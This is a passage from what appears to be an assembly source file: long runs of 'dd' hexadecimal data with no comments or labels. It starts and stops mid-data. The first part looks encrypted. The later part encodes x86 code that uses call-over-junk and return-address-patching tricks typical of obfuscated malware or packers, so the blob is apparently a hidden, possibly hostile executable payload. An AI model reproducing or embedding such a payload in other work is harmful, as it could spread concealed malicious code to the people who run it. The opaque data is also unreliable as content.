0A5D5E3Bh, 0F0DB4A59h, 0A868E89Dh, 0A5A2252h, 3CE34AEDh dd 7668E8F5h, 21684CF5h, 9C47C37Dh, 2745EDDBh, 0CEB0501h dd 7268E89Ch, 0C939C3BDh, 216EC3E8h, 7EAD9CD5h, 254ABF73h dd 254A87FCh, 216EC3A7h, 0AAD9418h, 0A6E828B0h, 0E8D3F213h dd 4768E8EEh, 25863A7Eh, 0F96EC3FAh, 9B927235h, 0DCFD669h dd 39E9CC0Fh, 0C86EC3AFh, 216EC3C4h, 7440FCAh, 0DBBDB23Bh dd 0FE69F629h, 2673C160h, 0AAED9E09h, 0AA6AE71Bh, 0C86E4878h dd 216EC3DDh, 0CFBEAF8Eh, 45B83733h, 65E73854h, 82D0C759h dd 7904795Ch, 15E37E6Eh, 9491C584h, 2745D80Ah, 0C939C381h dd 216EC3F6h, 7EAD9CDAh, 254ABFF4h, 254A873Fh, 216EC342h dd 0EAD94E8h, 8CA5B4AAh, 0F21370C5h, 0CAEB4E93h, 4B68ED79h dd 2286957Dh, 16EC3BEh, 0A8300001h, 0A06AE7DBh, 366AE793h dd 676EC3EBh, 0D4EF00A3h, 2687F84Dh, 976EC37Dh, 0A927D1F0h dd 0F19146C6h, 0C93FC3C5h, 216EC3D4h, 78AD9ACBh, 254A8F7Ch dd 254A877Bh, 216EC364h, 33AD92FFh, 79AB0131h, 0ACE7A35Ch dd 2745EF56h, 64EB4A8Ah, 4168E8DCh, 65477A9Ch, 216ED795h dd 640B17BEh, 0B28084E0h, 55C0041Eh, 0C81FA7F8h, 94E7EDC8h dd 78BF48B2h, 0F8F34A9Bh, 0E768E856h, 0A5DEE3Bh, 21049059h dd 216D2BFFh, 794EC3D7h, 65E79B28h, 65EFC7D1h, 2175C7DEh dd 712EC37Dh, 41FC857Dh, 0A25A38A4h, 0F656AB43h, 2F8602EAh dd 536EC3EBh, 0BCCED090h, 586AF744h, 0B66C5C88h, 0D8E5A584h dd 56A4201h, 37B42ED4h, 0E4E10C56h, 9491D3D7h, 2745D828h dd 0A4E35948h, 27404096h, 0C93BC3D4h, 216EC35Ch, 7CAD9E8Fh dd 254AAF5Eh, 254A876Ah, 216EC3E3h, 90AD96BFh, 470E1D61h dd 0B190053Fh, 6B04239h, 0F191A286h, 0C939C3BDh, 216EC3E8h dd 7EAD9CD5h, 254ABF73h, 254A87FCh, 216EC3A9h, 0ADAD9418h dd 0A8E5D99Ah, 0A6FB652h, 0D1D9CCEDh, 12434633h, 4B29C5D1h dd 2286957Dh, 16EC3BEh, 0A8300001h, 0A06AE7DBh, 3C6AE793h dd 676EC3EBh, 705400A3h, 0D618E169h, 14DC0B16h, 762579D8h dd 3D6356D6h, 7E06C584h, 76E91C1Fh, 0A0349CBCh, 3424E7F1h dd 0A461EC05h, 216EC37Bh, 0F6B7E35h, 9491C574h, 2745D872h dd 0C939C3BDh, 216EC3E8h, 7EAD9CD5h, 254ABF73h, 254A87FCh dd 216EC3ABh, 0CEAD9418h, 60A942D0h, 0AC7A8235h, 0FED286Eh dd 0A8A249F3h, 0A7F6277h, 4BBE3C7Bh, 228692BEh, 16EC35Fh dd 0A83700F6h, 0A06AE79Bh, 346AE7AFh, 606EC3F5h, 202D00ABh dd 216EC494h, 0F67CE7BEh, 841717ECh, 0F8ECE16h, 78E348EEh dd 0A868E8E2h, 0A612670h, 60DB48FCh, 0E768E865h, 0A5DEE3Bh dd 21048459h, 216D2BF8h, 7E4EC3D7h, 5DE79C28h, 65EFC7D1h dd 2179C7DEh, 7629C37Dh, 4827D67Dh, 1CFB4806h, 4968E8B3h dd 0FF0E708Fh, 11807C8Dh, 34AF774h, 28317F59h, 0A7356F0h dd 0FCDB3CB8h, 2E68E844h, 216EC120h, 0ACBE48D7h, 0FED286Eh dd 44D348F3h, 0DE68E8DEh, 40EB4AADh, 4768E8A1h, 0E2DB05DEh dd 12434669h, 4B29C5FCh, 228693EBh, 16EC3F5h, 0A83600A2h dd 0A06AE739h, 386AE7FAh, 616EC35Fh, 0A81900FFh, 926DCB0Bh dd 0A4EB4A12h, 0C968E8E4h, 216EC3FEh, 8BA3FF20h, 2E3C93E9h dd 2E3C936Eh, 7B36999Eh, 0AA3E998Fh, 2E6AE7AFh, 216EC674h dd 835B7DFAh, 21E5FE30h, 216ED156h, 33EF455Fh, 292CFA9Dh dd 92A05BEEh, 0B86B9C76h, 0AA733FEDh, 65E79D32h, 0D0E5C759h dd 949136E6h, 2745D882h, 27277626h, 0A4E3C5FCh, 27404000h dd 1C77E7Eh, 0F191C5D1h, 0C93FC317h, 216EC3BDh, 78AD9A7Fh dd 254A8F26h, 254A8756h, 216EC3FCh, 50AD92B4h, 0A802E858h dd 0A6556C0h, 2CEB4AB8h, 0AA68E85Ah, 0A4AEA12h, 0A8BE3CD1h dd 0A402A56h, 20F34AF3h dd 0A868E8D0h, 0A7806F8h, 8FBE0B8h, 4768E849h, 21041B23h dd 216D2B85h, 7B4EC3EBh, 75E79936h, 65EFC7DEh, 2179C759h dd 732CC3BEh, 0CB98929Ch, 0F0DB4851h, 568E8F3h, 736EA9EFh dd 216EC01Dh, 0E234E3FAh, 53A4A27h, 52A42BAh, 216EDA5Bh dd 0E23C81AFh, 0F885409h, 0AA08E0DDh, 2EAEC93Dh, 216D9A7Eh dd 24D3C07Dh, 0E768E8A7h, 0A5DEEDAh, 21048CA9h, 216D2B87h dd 794EC3EBh, 65E79B36h, 65EFC7DEh, 217AC759h, 712EC3BEh dd 0C93FEE9Ch, 216EC3A8h, 0C866D1D0h, 2025B60Fh, 0A72E278h dd 49379AFCh, 0C0677F5Bh, 7E8049E8h, 0C34AF7DEh, 4B304A7Fh dd 228693D7h, 16EC3EBh, 0A83600ADh, 0A06AE7BEh, 346AE739h dd 616EC3BEh, 1D72000Fh, 216ECD47h, 0FD0BF6D7h, 35BFD06Fh dd 94864B97h, 2EBBF22Ah, 216ED7F0h, 21602BBEh, 0DA03C35Fh dd 95DA0619h, 0E3FFC3D2h, 0BB043055h, 94919DAAh, 2745D827h dd 3F0B56F6h, 0A4E3C595h, 274040B4h, 216D40A0h, 9661C3D7h dd 4BBE3C3Bh, 228696F5h, 16EC3FAh, 0A8330020h, 0A06AE7D2h dd 356AE71Bh, 646EC3AFh, 0AAE60082h, 0A77025Eh, 5AE40F3h dd 0C93EC390h, 216EC37Eh, 79AD9B9Eh, 254A87D6h, 254A872Eh dd 216EC3C1h, 8BAD93ABh, 0A8614F52h, 216EC3EDh, 21672B1Dh dd 0EE14C3BEh, 7397DB93h, 7AA4364Dh, 3C637E5Eh, 0A80FC5C0h dd 0A67DE70h, 736EA9FCh, 216EC095h, 0E234E3BEh, 53A4A05h dd 52A42ABh, 216ED9D3h, 0E23C81EBh, 29CB45DCh, 9F665E08h dd 7DE4834Ah, 37AB4635h, 6AD4C574h, 9E1F50A6h, 4584F721h dd 24635E60h, 9E61C5DEh, 9B088032h, 3AE564E2h, 38F348DEh dd 9368E855h, 3AE5A2B6h, 2AD3565Ch, 945FC5C0h, 2745F164h dd 9E61D871h, 4BB6F086h, 228694BEh, 16EC35Fh, 0A83100F0h dd 0A06AE7ABh, 3B6AE7AFh, 666EC3F5h, 3DB800ADh, 6A927D68h dd 0B4E5909Dh, 2745EF7Ah, 0ACF34AF0h, 0AA68E8F2h, 0A729A66h dd 4E348F3h, 0E768E8DAh, 0A5DEEF8h, 0C99B84B8h, 216EC35Bh dd 96B01E06h, 216ED73Fh, 0BB3952EBh, 3D45F191h, 50BC83A2h dd 0ADD107F2h, 0CB8B837Fh, 7B9F4814h, 21662AFFh, 0B890C3D7h dd 47052608h, 65E52481h, 21E5C7DEh, 65E730F6h, 0A961C79Ah dd 216EC35Fh, 766EA9F7h, 216EC03Fh, 0E231E3EBh, 5124AAAh dd 52A42FEh, 216EDE79h, 0E23984BEh, 2C9A1054h, 6CA0491Ch dd 0C83F83D9h, 216EC3E1h, 755C8C2Bh, 64BE2AD6h, 0A0308A01h dd 0B9D00E6Fh, 0FCDB3C17h, 4B68E8B4h, 228694D7h, 16EC3EBh dd 0A83100AAh, 0A06AE786h, 3A6AE739h, 666EC3BEh, 0AF580008h dd 0ADAFE3C6h, 2686D274h, 5F6EC3EBh, 3B85E061h, 94E5EA9Bh dd 2745DF0Ch, 0CAEB4EE4h, 4B68EDDCh, 228692AFh, 16EC3D7h dd 0A83700B2h, 0A06AE7B9h, 3C6AE7BEh, 606EC37Dh, 0AAAE00EFh dd 530081F0h, 880B336Bh, 26134E5Eh, 0F191C5C0h, 71B5E7Ch dd 0A4E7C5D1h, 2745CC98h, 0C938C3D4h, 216EC35Ch, 7FAD9D8Fh dd 254AB75Eh, 254A876Ah, 216EC3E0h, 30AD95BCh, 94458334h dd 2745C893h, 0AA96C3D4h, 0A89C48AFh, 0A6E1E52h, 736EA9EDh dd 216EC01Dh, 0E234E3FAh, 53A4A27h, 52A42BAh, 216ED95Bh dd 0E23C81AFh, 48ADBB2Eh, 0C868E1E8h, 216EC3F9h, 425E4677h dd 467194C1h, 7A7983BDh, 8E756D4h, 1E87C584h, 4B6EC3D6h dd 228693EBh, 16EC3F5h, 0A83600A2h, 0A06AE739h, 386AE7FAh dd 616EC35Fh, 929000FFh, 4F9FE29Ah, 283F4EEAh, 0A4E3C5DEh dd 27407630h, 0C93DC317h, 216EC3BDh, 7AAD987Fh, 254A9F26h dd 254A8756h, 216EC3F0h, 87AD90B6h, 0CF4E939Dh, 0AAFC1C2Bh dd 0A75C62Bh, 9E089359h, 25E7DAE2h, 766EA9F3h, 216EC003h dd 0E231E3F5h, 5124AA5h, 52A4279h, 216ED7BAh, 0E239845Fh dd 0ACFB3C57h, 0A168E8C9h, 0BCE30B2Eh, 27407625h, 0C939C390h dd 216EC37Eh, 7EAD9C9Eh, 254ABFD6h, 254A872Eh, 216EC3C0h dd 0A2AD94ACh, 2E3D7608h, 216EC573h, 48DB487Dh, 7168E898h dd 3DE73AD4h, 0F8F3EA8Bh, 7168E8C0h, 0AFCD7D8Dh, 4B4AC77Ch dd 228695FAh, 16EC37Dh, 0A83000E0h, 0A06AE72Bh, 3C6AE7EBh dd 676EC3D7h, 0E11E00BDh, 0CB08AAB9h, 0D77EFDB4h, 216ED394h dd 738BBBBEh, 43607C69h, 6F9AFD65h, 2E5D4D77h, 30FB3C72h dd 4B68E8EEh, 228696FAh, 16EC37Dh, 0A83300E3h, 0A06AE733h dd 396AE7EBh, 646EC3D7h, 114A00BEh, 0C8B5823Dh, 216EC3FCh dd 0F7DDDA5Dh, 0A4E72F67h, 2745CA42h, 3EA77626h, 0A4A8C5FCh dd 2745F0C6h, 746EA9A6h, 216EC012h, 0E233E37Dh, 5024AE3h dd 52A425Bh, 216ED8ABh, 0E23B86D7h, 66442C1Fh, 2FB43326h dd 3F5F7E71h, 0A661C556h, 216EC3A6h, 216ED0B6h, 423EC3AFh dd 8609C04Bh, 95852688h, 0B637B6B7h, 0E39E8841h, 38CE9A15h dd 21642B44h, 3FFBC35Fh, 946B508Dh, 0D19755BCh, 216EC502h dd 0A58A71F5h, 7ED87121h, 74AF7FCh, 4B3E5D9Ah, 2286955Fh dd 16EC3AFh, 0A8300089h, 0A06AE79Fh, 376AE7B1h, 676EC3FAh dd 8A7002Bh, 0DEA0489Fh, 0A751EEAh, 766EA9A9h, 216EC03Fh dd 0E231E3EBh, 5124AAAh, 52A42FEh, 216ED879h, 0E23984BEh dd 2F60305Dh, 0BBE1646Ch, 0ABB4E5Ch, 0A4E3C5C0h, 2740401Eh dd 0C93FC390h, 216EC37Eh, 78AD9A9Eh, 254A8FD6h, 254A872Eh dd 216EC3CDh, 53AD92AAh, 0A53BE04Bh, 0F1919E50h, 0C93FC317h dd 216EC3BDh, 78AD9A7Fh, 254A8F26h, 254A8756h, 216EC3F0h dd 27AD92B4h, 4C9FFDEBh, 0A16DFDEEh, 0A4E7AA48h, 2745C6BEh dd 0C93CC3C5h, 216EC3D4h, 7BAD99CBh, 254A977Ch, 254A877Bh dd 216EC361h, 0DAAD91FCh, 391AA280h, 0D2A01BBEh, 0AA574D8h dd 0A70F266h, 0CEB05F3h, 6668E8C9h, 0CCEEA4CCh, 57D6AB4Fh dd 0AA086D12h, 55A427Ch, 2E51A0FFh, 0C939C381h, 216EC3F6h dd 7EAD9CDAh, 254ABFF4h, 254A873Fh, 216EC348h, 34AD94E8h dd 471D23E6h, 94910B60h, 2745D828h, 147B4E73h, 0ACE5C556h dd 2745E62Fh, 0A28546D2h, 2104C581h, 216D2B84h, 7A4EC3EBh dd 7DE79836h, 65EFC7DEh, 217BC759h, 722DC3BEh, 203F9C9Ch dd 0A5E8632h, 28BE3CD1h, 0A6CA25Eh, 0A8A049F3h, 0A7B967Fh dd 0F0E5A57Bh, 12434678h, 203DC574h, 0A747E22h, 64DB48D1h dd 0C968E8C1h, 216EC3F1h, 0B8579C6Ah, 473E13F6h, 65E51235h dd 0C80EC77Bh, 216EC3BFh, 0D817C30Ah, 0FC6BE82Ah, 95C12EDFh dd 0A438E72Ch, 0FBE4912Dh, 7934F2B1h, 476E483Eh, 65E73224h dd 0AA0EC7F3h, 21692A3Dh, 0A20BC3F5h, 4FFE7ED5h, 4B36A2ADh dd 228693BEh, 16EC35Fh, 0A83600F7h, 0A06AE793h, 3B6AE7AFh dd 616EC3F5h, 0BC6D00AAh, 0AC9B7452h, 0FCDB3CE5h, 4B68E844h dd 228690AFh, 16EC3D7h, 0A83500B0h, 0A06AE7A9h, 366AE7BEh dd 626EC37Dh, 0F10200EDh, 0A4E305B1h, 27404044h, 216ED33Eh dd 0E4A8B2EBh, 0A53D5971h, 520CC2E2h, 0CF243BE5h, 47BE3CE6h dd 0C19421DEh, 0B5E79C9h, 65F465Eh, 2C87C5C0h, 886EC3F5h dd 67021079h, 150C0BC6h, 927E6256h, 12434699h, 4B39C584h dd 228693D7h, 16EC3EBh, 0A83600ADh, 0A06AE7BEh, 3D6AE739h dd 616EC3BEh, 0BC1E000Fh, 9548D3A1h, 49C9E308h, 0F07B5DD4h dd 216ED11Ch, 6FA541FAh, 8AA53670h, 31B66FBh, 0B7420867h dd 0A0A1C0ABh, 0ED57E7E3h, 210482FAh, 216D2BA7h, 7B4EC3FAh dd 75E799BEh, 65EFC79Ah, 2173C77Bh, 732CC3AFh, 3A950314h dd 431B2686h, 0C99833AAh dd 216EC3EBh, 0E646E79Dh, 33156451h, 0F3E164Bh, 680ED357h dd 0BCF3EA19h, 7B68E8C1h, 0DEA674FAh, 0A751E4Fh, 0F0EFA57Bh dd 0A4E305EFh, 274040B4h, 0C0FB4856h, 0DE68E8D7h, 726EA93Bh dd 216EC01Dh, 0E235E3FAh, 5324A26h, 52A42BAh, 216EDB5Bh dd 0E23D80AFh, 896401F2h, 27E1CCA4h, 0AA6EC3F5h, 0A42E647h dd 88EB4A7Bh, 0E768E8AFh, 0A5DEEDAh, 210480A9h, 216D2B82h dd 7C4EC3EBh, 4DE79E36h, 65EFC7DEh, 2175C759h, 742BC3BEh dd 7C0F459Ch, 42371A32h, 0E71CAB20h, 4ED12147h, 0A05E5168h dd 9734E7CEh, 21049D41h, 216D2BEEh, 794EC35Fh, 65E79B6Ch dd 65EFC7F3h, 2176C7CFh, 712EC3F5h, 0EEC7DF39h, 2D8739F8h dd 0C46EC3BEh, 505A32F8h, 49108F6h, 0DEFBB022h, 0A751E5Eh dd 6CD34AF3h, 0AC68E8F6h, 0FED28F8h, 766EA9B8h, 216EC0B7h dd 0E231E3AFh, 5124A88h, 52A42EFh, 216ED8F1h, 0E23984FAh dd 0B7380414h, 6C19540h, 216EC5B6h, 5A24BCAFh, 108F3E40h dd 0A709276h, 4BBE3CF3h, 228690FAh, 16EC37Dh, 0A83500E5h dd 0A06AE703h, 3B6AE7EBh, 626EC3D7h, 45900B8h, 4643CFC8h dd 0F0F34A5Bh, 0A868E865h, 0A6F223Bh, 736EA959h, 216EC047h dd 0E234E3D7h, 53A4AB1h, 52A42F1h, 216ED7FEh, 0E23C817Dh dd 14DBE807h, 0AC68E870h, 0FDB032Ah, 217F2BD1h, 0EB33C3EBh dd 8239E31Ah, 144283C8h, 6B5F5C47h, 47B1D323h, 0CC5A29DEh dd 59DF53F6h, 9A08A387h, 47399D8Fh, 4037107Eh, 76B77C6Ah dd 0B491F060h, 2745DD33h, 216EC6B6h, 463203AFh, 0F9E5A1A1h dd 216ECF02h, 1ED775F5h, 2FB161E7h, 0B40D143Fh, 95EB4ED2h dd 4B68EDEAh, 228691AFh, 16EC3D7h, 0A83400B1h, 0A06AE7A1h dd 3B6AE7BEh, 636EC37Dh, 0FACD00ECh, 224BC6DCh, 22EBCC11h dd 0A16EC3D7h, 71FE8F3Ah, 217E2AA7h, 53A6C3FAh, 7D763AD3h dd 0C1A811A1h, 1E7442E1h, 1061CDDBh, 30DCBF6Dh, 713699F3h dd 713C93A3h, 7B5FCCA8h, 715FCC25h, 7B5FCCECh, 7B369907h dd 766EA93Fh, 216EC03Fh, 0E231E3EBh, 5124AAAh, 52A42FEh dd 216EDA79h, 0E23984BEh, 324D3F09h, 0A4E713E9h, 2745F052h dd 21612A78h, 0D340C3F5h, 0EEDB4249h, 9DE9AD2Ch, 0E092FFA5h dd 733E938Fh, 216B4AA0h, 0A5D4C3D7h, 2E7A09F9h, 0B23699C4h dd 0C938C390h, 216EC37Eh, 7FAD9D9Eh, 254AB7D6h, 254A872Eh dd 216EC3CDh, 90AD95ADh, 0E1B1D7D9h, 0B45F53DFh, 2745E2E8h dd 0B49199ECh, 2745D84Eh, 0C939C3C5h, 216EC3D4h, 7EAD9CCBh dd 254ABF7Ch, 254A877Bh, 216EC365h, 0EAAD94F9h, 0AEDCC913h dd 216ED247h, 0B9F746D7h, 6313B3C5h, 9070C1D1h, 8BA97E1Eh dd 0A4E7E8C3h, 2745D1ABh, 719BA301h, 4031A2CFh, 1407465Eh dd 2104C5C0h, 216D2BA6h, 7A4EC3FAh, 7DE798BEh, 65EFC79Ah dd 2176C77Bh, 722DC3AFh, 0D412F14h, 9661A491h, 39E3CC0Eh dd 0C96EC3FAh, 216EC371h, 0C8D0BB30h, 9567325Dh, 591E4037h dd 30DB465Eh, 0E634C5C0h, 0A47CA70h, 216ECCFCh, 766EA97Dh dd 216EC056h, 0E231E35Fh, 5124AF0h, 52A42D3h, 216EDBEFh dd 0E23984F5h, 27036151h, 0DBE88Eh, 0DE68E88Dh, 0A5BAACAh dd 0A4E73FA9h, 2745D8F6h, 34A75662h, 0A4E5C5DEh, 2745CA23h dd 0E8125EF0h, 62E7C590h, 0BCD34E5Eh, 0AC68E89Ch, 0FA79562h dd 215D7AEDh, 859DC3F5h, 21D6F011h, 2A6EC37Dh, 0E36DB77Eh dd 65E5C347h, 0C93DCF8Bh, 216EC3D7h, 36AD42B0h, 0A86EC3F5h dd 0A87EE7A6h, 7A7AE739h, 81CEF406h, 0AA8E3C5Fh, 0DE6AE7EBh dd 0ED787C37h, 2104B64Fh, 216D2BA2h, 7E4EC3FAh, 5DE79CBEh dd 65EFC79Ah, 2177C77Bh, 7629C3AFh, 1808114h, 937FB237h dd 990EA260h, 1DA43D57h, 2FBB5EF4h, 0AC0FC595h, 0FDB77E2h dd 0FAE34EA9h, 9968ED1Eh, 0B94868DEh, 243F46C6h, 0EE45C5D1h dd 82104A3h, 0AF216D2Bh, 147E4EC3h, 0CF5DE79Ch, 0D165EFC7h dd 0FA2178C7h, 837629C3h, 0A4F305E9h, 6AD98Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0DA77B6C3h, 0C8F4509Bh, 71E9F5h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BE922C3h dd 0C8000000h, 0B0BBB57h, 9C496E3Bh, 60613221h, 12E9FCh dd 0A88A0000h, 49C28ACFh, 0E9626758h, 0F895C7FEh, 5D6C80A1h dd 6AC361h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 4C070CC3h, 0ECFAA286h, 60FCA3C9h, 8B61C18Bh dd 0DE9C0h, 2A000000h, 5827ED12h, 0A84972E5h, 8370DF84h dd 2B01F9BDh, 9750006h, 1689BD83h, 7400062Bh, 8B535019h dd 4B9B8C0h, 85890000h, 62B3479h, 0BFDC9D8Dh, 0D3FF062Dh dd 0BD83585Bh, 62B1689h, 50177400h, 4B9B853h, 85890000h dd 62B3479h, 0BC7D9D8Dh, 0D3FF062Dh, 8160585Bh, 738677F1h dd 5E940h, 50F50000h, 61C2638Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0E7C35343h, 0EE9870Bh, 42000000h dd 35CAE3C8h, 8EEFD8E8h, 63558000h, 0E9C08B93h, 10h, 6EE9F2DCh dd 81DFDB8Fh, 0AA412929h, 0CDA16FA8h, 0FC18B40h, 689h dd 0C9BD2900h, 0EB062B26h, 4, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DE82D49h dd 0B7000000h, 38C76BE4h, 0E534C536h, 333E4396h, 2810Fh dd 61600000h, 6E95Fh, 0B61E0000h, 22966262h, 19BD8Bh, 858D062Bh dd 62B2FC1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 9CC35747h, 22B8B18Ah, 0BF6691DDh, 6690C8A2h, 6050FB8Bh dd 0F525050h, 5B585A31h, 81669061h, 6A9BCBC6h, 0B006A00h dd 2B3031B5h, 6850F06h, 8B000000h, 2B28E1B5h, 23858D06h dd 29062ECDh, 2B2A99BDh, 5C08306h, 0E1B503F5h, 50062B16h dd 310F5250h, 6830Fh, 52500000h, 585A310Fh, 489585Ah, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8936D6A6h, 2B163DB5h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 70ABC357h dd 9E2BA430h, 6A38018Eh, 0A9BD0300h, 0FF062B17h, 2B34E195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8BD82DAFh, 2B1B09B5h, 0B5B58B06h, 60062B1Ah dd 28E19D29h, 8D8B062Bh, 62B0FD5h, 0AA9D8D61h, 6A062EA6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 72B6C350h, 0FB7CC7Ch, 0D3FFFEBFh, 1E0D85FFh dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0E913BFC3h, 13h, 4A0258h, 6A8BDD6Ch, 8FAF0E62h dd 0E71EC012h, 0E986EC89h, 6BFh, 0E8h, 0ED815D00h, 62ECD2Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 83C35545h dd 909B1A65h, 0BD81F8DCh, 62B2909h, 7D0h, 192860Fh, 0DF810000h dd 4C1B57CAh, 0AA19D8Bh, 0EE81062Bh, 91051EFh, 100E381h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0A2EB8BC3h, 0F7DE2D2Dh, 8B52A943h, 2B1661BDh dd 0BD8B5F06h, 62B2F2Dh, 0BFBBF0Fh dd 0C0850FDBh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0DC24C355h, 5DBD8395h dd 62ECBh, 2A840Fh, 13E80000h, 90000000h, 6FE43BA9h, 6462982Dh dd 0A318C6BAh, 0D26F437Dh, 9D314EB6h, 62B2C6Dh, 9DE95Fh dd 8D090000h, 62B2429h, 0CB5D85C7h, 1062Eh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0AE9C60C3h, 0B9BD8B83h, 0E9062B0Ah, 63h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 86C35545h, 0E86008E4h dd 9, 6C724615h, 56365B37h, 580AB037h, 1C419531h, 0C761062Bh dd 2ECB5D85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0A6B43F5Ah, 8D28F816h dd 2B0AA19Dh, 0BDB52306h, 0BE062B18h, 2A7BBC89h, 0FEFF2381h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 226E32C3h, 0AE9C3h, 8AD0000h, 759F9E4Ah dd 4DDDE614h, 68C0Fh, 95890000h, 62B09B9h, 6ADB8C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 42EAC351h, 669CB89Bh, 0DD2CE681h, 0F04C3F6h, 2B84h dd 49BD8900h, 0E9062B34h, 0Fh, 1C2B3264h, 71D24058h, 8CBFC48Fh dd 0FFE540C1h, 2B356995h, 39B58B06h, 90062B08h, 0F28B9050h dd 37CE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 68B0F38h, 8B000000h, 2B0829B5h, 3100B006h dd 2B32A1BDh, 8B70E606h, 2B1819B5h, 0F71E406h, 8B66D8B6h dd 12810FF0h, 0F000000h, 0C81h, 7E900h, 0D11C0000h, 0C2B28F4Fh dd 6BAE1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0C38B1FC3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C4C35040h, 0CF1BCDD2h, 0C1E1A0E7h dd 85BD8B51h, 5F062B33h, 8B04E8C1h, 2B0695B5h, 0E2F76606h dd 2CEDB58Bh, 0D82B062Bh, 785478BFh, 0BF509350h, 2CB5A169h dd 53006A93h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 660BC8FAh, 0F98B5794h, 9B5FF5Eh, 6A062B29h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 3E8AC355h, 0E4C757B4h, 294595FFh, 6A062Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 59E76EC3h, 0F564FC31h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 850168C3h, 62B0651h dd 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0E068C3h, 0A0D5522h, 71E461C9h, 29F88B66h dd 2B1EC58Dh, 0F613C06h, 1E483h, 0F18B5000h, 0D8B60F5Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DDC35646h dd 999B58Bh, 6BA062Bh, 60000000h, 80F6BF0Fh, 8B615AD7h dd 0A1BD29C3h, 0C1062B25h, 0BD8B04E8h, 62B04F9h, 2BE2F766h dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0B58B3808h, 62B1DB1h, 0F7B70F58h, 880FD82Bh dd 169h, 8BA751BFh, 7B90Ah, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 5E9104C3h dd 0CE8107Dh, 0D6000000h, 2B078195h, 2890C753h, 0F914DA3h dd 681h, 880F00h, 5F000000h, 6A00C183h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 7B0CC352h dd 152A55C1h, 1F79B58Bh, 0D93B062Bh, 0EF860Fh, 0BD8B0000h dd 62B0D65h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 2C68C356h, 0ADCCD29Dh dd 4C1F619h, 0B9840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 63CCA8C3h, 0DE9B8h, 0F0FE0000h dd 0BFAF7E5Fh, 0FE5BFF01h, 0FF743141h, 2B356995h, 8D895206h dd 62B0069h, 0BD8B5B5Fh, 62B2A6Dh, 6AC32Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D2DF96C3h dd 2D858986h, 0E9062B2Eh, 14h, 5680EBB1h, 38278D89h, 5AEACA16h dd 5033E961h, 16B62A7Ch, 8343Dh, 28860F00h, 66000000h dd 0E9D18FBFh, 21h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 84C35040h, 8B544F90h, 8BC38BC0h, 9DB589D8h dd 8B062B26h, 2B2D41B5h, 7585C706h, 73062B00h, 0E954C31Bh dd 0Eh, 4FC1B5BBh, 84F299FFh, 23F0D2D9h, 0C08BB4E7h, 1FCDBD8Bh dd 0BD81062Bh, 62B2909h, 7D0h, 35850Fh, 0BD8B0000h, 62B0621h dd 290985FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 47733FC3h, 0CB53AF02h, 298D2939h dd 0FF062B12h, 2B2909B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 373F5363h dd 6499D89h, 0F681062Bh, 216C3538h, 294595FFh, 6A062Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0B5D142C3h, 9C65F51Fh, 0B890D67Dh, 12345678h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 4EC35141h, 118DB503h dd 8C0F062Bh, 4, 345BBE66h, 0D3AB9D8Dh, 41E9062Eh, 0E9FFFFF9h dd 29h, 3FDAB8E4h, 9 dup(0) dd 529E900h, 0C29B0000h, 76ED0A86h, 273D5A56h, 0CB8AE521h dd 80D631EDh, 403742BEh, 7DB983D7h, 920E3822h, 0DCD8EC75h 